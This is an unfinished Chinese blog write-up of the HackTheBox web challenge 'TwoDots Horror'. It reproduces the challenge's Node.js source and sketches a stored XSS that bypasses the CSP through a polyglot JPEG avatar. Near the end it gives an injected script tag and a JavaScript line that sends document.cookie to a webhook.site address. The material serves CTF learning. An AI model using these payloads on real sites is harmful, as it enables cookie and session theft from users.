HTB-TwoDots-Horror


title: HTB-TwoDots_Horror
date: 2023-12-15 20:23:43
categories: HTB
tags: WEB

TwoDots Horror(未完成)

白盒测试

这个代码是node.js写的我们首先查看这个dockerfile发现并没有flag信息

审计一下这些js代码

index.js

const express       = require('express');
const fileUpload    = require('express-fileupload');
const app           = express();
const path          = require('path');
const bodyParser    = require('body-parser');
const cookieParser  = require('cookie-parser');
const nunjucks      = require('nunjucks');
const routes        = require('./routes');
const Database      = require('./database');


const db = new Database('TwoDots-Horror.db');

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());

app.use(fileUpload({ limits: {
		fileSize: 2 * 1024 * 1024 // 2 MB
	},
	abortOnLimit: true
 }));

app.use(function(req, res, next) {
	res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")
	next();
});

nunjucks.configure('views', {
	autoescape: true,
	express: app
});

app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));

app.use(routes(db));

app.all('*', (req, res) => {
	return res.status(404).send({
		message: '404 page not found'
	});
});

(async () => {
	await db.connect();
	await db.migrate();
	app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();

database.js

const sqlite = require('sqlite-async');

class Database {
	constructor(db_file) {
		this.db_file = db_file;
		this.db = undefined;
	}
	
	async connect() {
		this.db = await sqlite.open(this.db_file);
	}

	async migrate() {
		return this.db.exec(`
            DROP TABLE IF EXISTS users;

            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL,
                avatar     VARCHAR(255) NOT NULL
            );

            DROP TABLE IF EXISTS posts;

            CREATE TABLE IF NOT EXISTS posts (
                id         INTEGER      NOT NULL PRIMARY KEY AUTOINCREMENT,
                author  VARCHAR(255) NOT NULL,
                content    VARCHAR(255) NOT NULL,
                approved   INTEGER      NOT NULL,
                created_at TIMESTAMP    DEFAULT CURRENT_TIMESTAMP
            );

            INSERT INTO posts (author, approved, content) VALUES ('ColonelAengus', 1, 'Our baby girl is finally crawling for the first time. I just wish it wasn’t on the ceiling.');
            INSERT INTO posts (author, approved, content) VALUES ('windowsXP', 1, 'Keyboard not responding. Press any key to continue.');
            INSERT INTO posts (author, approved, content) VALUES ('unkn0wn', 1, 'There was a picture in my phone of me sleeping. I live alone.');
            INSERT INTO posts (author, approved, content) VALUES ('Scry67', 1, 'The last man on Earth sat alone in a room. There was a knock at the door.');
            INSERT INTO posts (author, approved, content) VALUES ('fluffyponyza', 1, 'Day 312. Internet still not working.');
        `);
	}

	async registerUser(user, pass) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('INSERT INTO users (username, password, avatar) VALUES ( ?, ?, "default.jpg")');
				resolve((await stmt.run(user, pass)));
			} catch(e) {
				reject(e);
			}
		});
	}

	async loginUser(user, pass) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
				resolve(await stmt.get(user, pass));
			} catch(e) {
				reject(e);
			}
		});
	}

	async getUser(user) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('SELECT * FROM users WHERE username = ?');
				resolve(await stmt.get(user));
			} catch(e) {
				reject(e);
			}
		});
	}

	async checkUser(user) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ?');
				let row = await stmt.get(user);
				resolve(row !== undefined);
			} catch(e) {
				reject(e);
			}
		});
	}

	async updateAvatar(user, avatar) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('UPDATE users SET avatar = ? WHERE username = ?');
				resolve(await stmt.run(avatar, user));
			} catch(e) {
				reject(e);
			}
		});
	}

	async addPost(author, content) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('INSERT INTO posts (author, content, approved) VALUES (? , ?, 0)');
				resolve(await stmt.run(author, content));
			} catch(e) {
				reject(e);
			}
		});
	}

	async getPosts(approved=1) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('SELECT * FROM posts WHERE approved = ?');
				resolve(await stmt.all(approved));
			} catch(e) {
				reject(e);
			}
		});
	}
}

module.exports = Database;

这个数据库语法使用了预处理无法造成常规sql注入

bot.js

const puppeteer = require('puppeteer');

const browser_options = {
	headless: true,
	args: [
		'--no-sandbox',
		'--disable-background-networking',
		'--disable-default-apps',
		'--disable-extensions',
		'--disable-gpu',
		'--disable-sync',
		'--disable-translate',
		'--hide-scrollbars',
		'--metrics-recording-only',
		'--mute-audio',
		'--no-first-run',
		'--safebrowsing-disable-auto-update'
	]
};

const cookies = [{
    'name': 'flag',
    'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];

async function purgeData(db){
	const browser = await puppeteer.launch(browser_options);
	const page = await browser.newPage();

	await page.goto('http://127.0.0.1:1337/');
	await page.setCookie(...cookies);

	await page.goto('http://127.0.0.1:1337/review', {
		waitUntil: 'networkidle2'
	});

	await browser.close();
	await db.migrate();
};

module.exports = { purgeData };

这里存在了flag放进了cookies

routes/index.js

const fs             = require('fs');
const bot            = require('../bot');
const path           = require('path');
const express        = require('express');
const router         = express.Router();
const JWTHelper      = require('../helpers/JWTHelper');
const UploadHelper   = require('../helpers/UploadHelper')
const AuthMiddleware = require('../middleware/AuthMiddleware');


let db;

const response = data => ({ message: data });

router.get('/', (req, res) => {
	return res.render('index.html');
});

router.post('/api/register', async (req, res) => {
	const { username, password } = req.body;

	if (username && password) {
		return db.checkUser(username)
			.then(user => {
				if (user) return res.status(401).send(response('User already registered!'));
				return db.registerUser(username, password)
					.then(()  => res.send(response('User registered successfully!')))
			})
			.catch(() => res.send(response('Something went wrong!')));
	}
	return res.status(401).send(response('Please fill out all the required fields!'));
});

router.post('/api/login', async (req, res) => {
	const { username, password } = req.body;

	if (username && password) {
		return db.loginUser(username, password)
			.then(user => {
				let token = JWTHelper.sign({ username: user.username });
				res.cookie('session', token, { maxAge: 3600000 });
				return res.send(response('User authenticated successfully!'));
			})
			.catch(() => res.status(403).send(response('Invalid username or password!')));
	}
	return res.status(500).send(response('Missing parameters!'));
});

router.get('/feed', AuthMiddleware, async (req, res, next) => {
	return db.getUser(req.data.username)
		.then(user => {
			if(user === undefined) return res.redirect('/');
			return db.getPosts()
				.then(feed => {
					res.render('feed.html', { feed });
				})
		})
		.catch(() => res.status(500).send(response('Something went wrong!')));
});

router.get('/profile', AuthMiddleware, async (req, res, next) => {
	return db.getUser(req.data.username)
		.then(user => {
			if(user === undefined) return res.redirect('/');
			res.render('profile.html', { user });
		})
		.catch(() => res.status(500).send(response('Something went wrong!')));
});

router.get('/review', async (req, res, next) => {
	if(req.ip != '127.0.0.1') return res.redirect('/');

	return db.getPosts(0)
		.then(feed => {
			res.render('review.html', { feed });
		})
		.catch(() => res.status(500).send(response('Something went wrong!')));
});

router.post('/api/submit', AuthMiddleware, async (req, res) => {
	return db.getUser(req.data.username)
		.then(user => {
			if (user === undefined) return res.redirect('/'); 
			const { content } = req.body;
			if(content){
				twoDots = content.match(/\./g);
				if(twoDots == null || twoDots.length != 2){
					return res.status(403).send(response('Your story must contain two sentences! We call it TwoDots Horror!'));
				}
				return db.addPost(user.username, content)
					.then(() => {
						bot.purgeData(db);
						res.send(response('Your submission is awaiting approval by Admin!'));
					});
			}
			return res.status(403).send(response('Please write your story first!'));
		})
		.catch(() => res.status(500).send(response('Something went wrong!')));
});

router.post('/api/upload', AuthMiddleware, async (req, res) => {
	return db.getUser(req.data.username)
		.then(user => {
			if (user === undefined) return res.redirect('/');
			if (!req.files) return res.status(400).send(response('No files were uploaded.'));
			return UploadHelper.uploadImage(req.files.avatarFile)
				.then(filename => {
					return db.updateAvatar(user.username,filename)
						.then(()  => {
							res.send(response('Image uploaded successfully!'));
							if(user.avatar != 'default.jpg') 
								fs.unlinkSync(path.join(__dirname, '/../uploads',user.avatar)); // remove old avatar
						})
				})
		})
		.catch(err => res.status(500).send(response(err.message)));
});

router.get('/api/avatar/:username', async (req, res) => {
	return db.getUser(req.params.username)
		.then(user => {
			if (user === undefined) return res.status(404).send(response('user does not exist!'));
			avatar = path.join(__dirname, '/../uploads', user.avatar);
			return res.sendFile(avatar);
		})
		.catch(() => res.status(500).send(response('Something went wrong!')));
});

router.get('/logout', (req, res) => {
	res.clearCookie('session');
	return res.redirect('/');
});

module.exports = database => { 
	db = database;
	return router;
};

这个是记录路由的地方

并且上面还引用了我们需要的

const bot            = require('../bot');

在代码93行调用了

bot.purgeData(db);

现在我们就是要利用

router.get('/api/avatar/:username', async (req, res) => {
	return db.getUser(req.params.username)
		.then(user => {
			if (user === undefined) return 

加上前端代码的

</p>
                        <p>{{ post.content|safe }}</p>
                    </div>

来达到获取cookie但是因为这个blog利用了csp

Content-Security-Policy: "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;"

然后

if(twoDots == null || twoDots.length != 2){
	return res.status(403).send(response('Your story must contain two sentences! We call it TwoDots Horror!'));
}

要求你必须要写两个段落也就是两个点

<script src="/api/avatar/test"></script>1.1.

写成这样就可以了

在利用upload来上传我们需要的payload

参考链接

https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs

这里接收cookie的用的是webhook

*/=document.location.href="https://webhook.site/72ad2f9e-7a81-4b01-d3ed-8290387f7d0b?"+document.cookie;/*

内容加进图片并且要不小于120x120

这里我使用的软件是

img_polygloter.py

然后不知道为什么我就得不到cookie

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值